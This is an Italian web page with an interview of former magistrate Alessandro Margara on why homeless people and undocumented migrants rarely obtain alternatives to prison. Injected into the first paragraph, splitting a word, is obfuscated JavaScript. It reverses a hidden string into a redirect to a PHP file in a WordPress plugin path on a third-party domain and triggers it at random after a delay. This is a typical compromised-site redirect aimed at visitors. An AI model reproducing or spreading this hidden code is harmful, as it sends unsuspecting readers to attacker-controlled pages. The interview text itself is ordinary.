Cercando la giusta misura

image_pdfimage_print

Della vicenda di Salvatore ne hanno parlato in molti. Eppure non è così inconsueto che un senza fissa dimora venga messo in carcere per pene che di solito vengono scontate con misure alternative alla detenzione. Chi non ha una posizione sociale stabile, come un cl (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andestino, o chiunque non abbia una residenza ufficiale, difficilmente ha accesso alle misure alternative alla carcerazione, che invece sono previste per legge. E la legge, almeno così si dice, è uguale per tutti. Abbiamo deciso di affrontare la questione con Alessandro Margara, che durante la sua lunga carriera di magistrato ha partecipato alle attività preparatorie della riforma Simeone del 1998, che ampliava le agevolazioni per il lavoro dei detenuti in misura alternativa al carcere. È stato inoltre magistrato di sorveglianza al Tribunale e Ufficio di sorveglianza di Firenze, l’organo giurisdizionale che ha la facoltà di modificare le modalità di esecuzione della pena, quando si siano evidenziati progressi nel processo di risocializzazione.
Salvatore è un caso particolare, ha un carattere aperto, si è costruito una rete di relazioni nel quartiere, e anche grazie a questo è stato scarcerato dopo una settimana. Cosa succede invece a chi vive diversamente la marginalità?
È proprio questo il problema. Nel caso di Salvatore la questione si è risolta velocemente anche perché ha funzionato questo allarme diffuso nel quartiere e arrivato fino al magistrato, che tra l’altro abita nella zona ed era già al corrente della situazione. Gli strumenti hanno funzionato proprio perché lui era conosciuto, ma uno che è senza arte né parte, che non ha riferimenti esterni, è probabile che resti in carcere per tutti i mesi che gli hanno dato. La legge prevede in caso di condanna inferiore a tre anni l’obbligo di invitare l’interessato a scegliere se vuole scontare una pena alternativa al carcere. All’imputato arriva un foglio nel quale viene comunicata la pena e sono elencate le misure alternative. Per usufruire di queste misure, però, deve essere fatta richiesta esplicita al giudice entro trenta giorni. Poi è il tribunale di sorveglianza a decidere se concedere o meno la misura alternativa. Nel frattempo la pena è sospesa. Per le persone senza fissa dimora, senza casa né tetto, può succedere che non vengano trovate per la notifica e quindi che quel foglio non venga mai consegnato. Oppure, anche se riescono a chiedere una misura alternativa, il non avere riferimenti esterni pregiudica l’accoglimento dell’istanza da parte del magistrato. È il giudice a decidere se applicare la misura alternativa in base ad una reperibilità reale. Come è il caso di Salvatore, che può essere trovato lì, nel sottopassaggio. In alcuni casi, nomadi che non stanno in un campo ma in una roulotte tollerata in una certa zona, hanno avuto l’affidamento in prova o la residenza domiciliare con riferimento a questa sede, che ha avuto valore di domicilio effettivo ai fini dell’esecuzione della pena. Si possono trovare anche altre soluzioni: ci sono delle sedi di accoglienza, residenze gestite da suore per i detenuti che escono in permesso premio, oppure per quelli che hanno l’affidamento ma che non hanno domicilio. Insomma in qualche modo si rimedia, ma la cosa non è scontata, è il giudice che decide e che valuta le soluzioni che gli si prospettano.
Quindi tutto dipende dalla discrezionalità del singolo giudice?
Mi ricordo che alcuni miei colleghi napoletani, volendo applicare come misura alternativa il lavoro, consideravano accettabile la vendita di sigarette di contrabbando, constatando che per un settore notevole della popolazione quella era l’unica possibilità. Il paradosso è che per il 99% erano condanne per contrabbando!
La legge prevede quindi una serie di misure alternative al carcere. Però se un imputato è clandestino o senza fissa dimora, tutte queste misure sono difficilmente applicabili. Non è paradossale, visto che questi soggetti avranno sicuramente più difficoltà di reinserimento una volta usciti dal carcere?
È proprio così. Se una persona che vive in condizioni di sradicamento sociale sta in galera tre mesi, quei fili leggeri che iniziava ad agganciare possono spezzarsi, se poi i mesi invece di essere tre, sono un anno o più, è ancora più facile che la persona torni alla deriva e andando alla deriva può di nuovo cadere in situazioni in cui commettere reati. Esiste un sistema, che non è proprio ineccepibile, che andrebbe in qualche modo integrato, reso più funzionale. A Sollicciano ci sono 1000 detenuti, di cui circa la metà hanno processi in corso e quindi non possono usufruire di misure alternative. Ma gli altri 500 potrebbero ottenerle, solo che gli educatori che dovrebbero informarli di questo sono quattro! Gli strumenti giuridici insomma esistono ma non sono integrati da un’organizzazione funzionante.
E le misure alternative alla detenzione sono risultate utili nel processo di recupero sociale dei soggetti disagiati?
Una recente ricerca dimostra che chi ha scontato la pena fuori dal carcere, in misura alternativa, nei cinque anni successivi ha recidive nel reato in percentuali molto modeste. E la ricerca è stata fatta su persone che avevano già recidive alle spalle! Le misure alternative servono. È un periodo utile per ancorarsi alle strutture sociali, a capire che c’è un ufficio del lavoro, o che attraverso organismi di solidarietà si può trovare qualcosa da fare, che ci sono insomma altre strade rispetto al reato.

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *